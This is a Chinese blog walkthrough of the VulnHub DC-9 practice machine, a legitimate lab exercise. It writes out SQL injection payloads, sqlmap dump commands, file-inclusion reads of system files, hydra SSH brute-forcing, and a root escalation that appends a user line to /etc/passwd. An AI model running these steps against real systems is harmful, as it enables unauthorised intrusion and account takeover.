vulnhub靶场,DC-9

vulnhub靶场,DC-9

环境准备

靶机下载地址:https://www.vulnhub.com/entry/dc-9,412/
攻击机:kali(192.168.58.130)
靶机:DC-9(192.168.58.155)
下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式

信息收集

使用arp-scan确定目标靶机

确定目标靶机IP为192.168.58.155
使用nmap扫描查看目标靶机端口开放情况

可以看到扫描结果是开放了22、80端口,但是22端口被过滤了
浏览器访问目标靶机80端口

使用浏览器插件wappalyzel查看网站基本信息

点击search页,发现是一个查找的功能

有输入的位置就有可能存在SQL注入,输入单引号试试

页面没报错,但是发现当输入mary’ and sleep(5)#时,页面查询会延迟5秒

说明这里是存在SQL注入,并且为字符型,闭合方式为’#

渗透过程

前面已经知道查询的页面是存在SQL注入漏洞,但是注入的位置不在URL上,搜索的内容是以POST的形式提交上去的

手工注入

判断字段数

search=mary' order by 5#    #回显正常
search=mary' order by 6#    #回显正常
search=mary' order by 7#    #回显错误

所以判断字段数为6
查看回显位置

search=ma' union select 1,2,3,4,5,6#


查看当前库

search=ma' union select 1,2,3,4,5,database()#


查看Staff库下的所有表

search=ma' union select 1,2,3,4,5,(select group_concat(table_name) from information_schema.tables where table_schema=database())#


查看Users表下的所有字段

search=ma' union select 1,2,3,4,5,(select group_concat(column_name) from information_schema.columns where table_name='Users')#


查看Username,Password字段的值

search=ma' union select 1,2,3,4,5,(select group_concat(concat_ws('~',Username,Password)) from Users)#

使用sqlmap进行自动化注入

查看所有库

sqlmap -r /root/桌面/sql  --dbs --batch


查看Staff库下的所有表

sqlmap -r /root/桌面/sql  -D "Staff" --tables --batch


查看Users表下的所有字段

sqlmap -r /root/桌面/sql  -D "Staff" -T "Users" --columns --batch


查看Username,Password字段的值

sqlmap -r /root/桌面/sql  -D "Staff" -T "Users" -C "Username,Password" --dump --batch


成功获得登入的账号和密码,但是密码使用了md5加密,找了很多常规的md5解密网站不是解不出来就是要钱,看了别人的教程,别人的sqlmap能直接将密码解密出来,我试了几遍就是不行,但是最后终于找到了一个解密网站

解密网站:https://hashes.com/en/decrypt/hash


使用admin:transorbital1登入网站后台

登入成功,发现下面有个显示,说文件不存在,所以这里极有可能存在一个文件包含的漏洞
包含密码文件试试

成功包含
前面信息收集可以看到网站的web容器为apache,apache的日志文件默认路径为/var/log/apache2/access.log,可以尝试写入一句话木马然后去包含日志文件去拿到webshell,但是发现是不行的,应该是改了apache的默认日志文件路径
前面进行端口扫描的时候,发现扫描到了22端口但是说被过滤了,可能是因为安装了端口敲门服务(端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。),端口敲门服务默认的配置文件路径为:/etc/knockd.conf,结合文件包含漏洞查看其内容

知道了端口号,需要进行“敲门”,使用nmap即可

然后再查看ssh服务是否能够正常利用

OK,现在22端口可以正常使用了,前面使用sqlmap进行自动化注入时,发现还有一个库为users,查看其内容

sqlmap -r /root/桌面/sql  -D "users" --tables --batch


查看UserDetails表下的所有字段

sqlmap -r /root/桌面/sql  -D "users" -T "UserDetails" --columns --bacth


查看username,password字段的值

sqlmap -r /root/桌面/sql  -D "users" -T "UserDetails" -C "username,password" --dump --batch


获得一些员工的账号和密码,将这些账号和密码分别放在两个不同的文件里

使用hydra进行爆破

hydra -L user.txt -P pass.txt 192.168.58.155 ssh -V



成功获得三个账号密码,其中janitor为管理员用户
使用janitor进行ssh远程连接

查看当前目录下的文件

发现有一个文件.secrets-for-putin,下面有一个密码文件,查看其内容

然后将这些密码也加入到密码文件pass.txt里面

再次使用hydra进行暴力破解

hydra -L user.txt -P pass.txt 192.168.58.155 ssh -V


成功获得fredf用户的密码
使用fredf用户进行ssh远程连接

权限提升

使用sudo命令查看fredf用户可以哪些具有root权限的命令

在这里我们可以看到,这个用户可以sudo使用root权限在运行一个test程序,而且不需要密码,然后我们先进去这个保存文件测试的位置看一下这是个什么程序

里面有一个test.py,查看其内容

kali使用openssl工具先创建一个本地的加密用户

openssl passwd -1 -salt icepeak 123456
-1 的意思是使用md5加密算法
-salt 自动插入一个随机数作为文件内容加密,默认选项 加点盐


回到靶机中,去到那个程序的目录下用echo命令在/tmp目录下创建一个名为getflag的文件(这个文件名可以自定义)

echo 'icepeak:$1$icepeak$zytcNFjPRKx6SrTA7G3Xe1:0:0::/root:/bin/bash' >> /tmp/getflag


使用sudo用那个test程序来运行这个文件

sudo ./test /tmp/getflag /etc/passwd


使用su命令切换到icepeak用户

成功获得root权限,切换到根目录,查看当前路径下的文件,成功获得flag,DC-9靶机渗透结束

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

super 硕

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值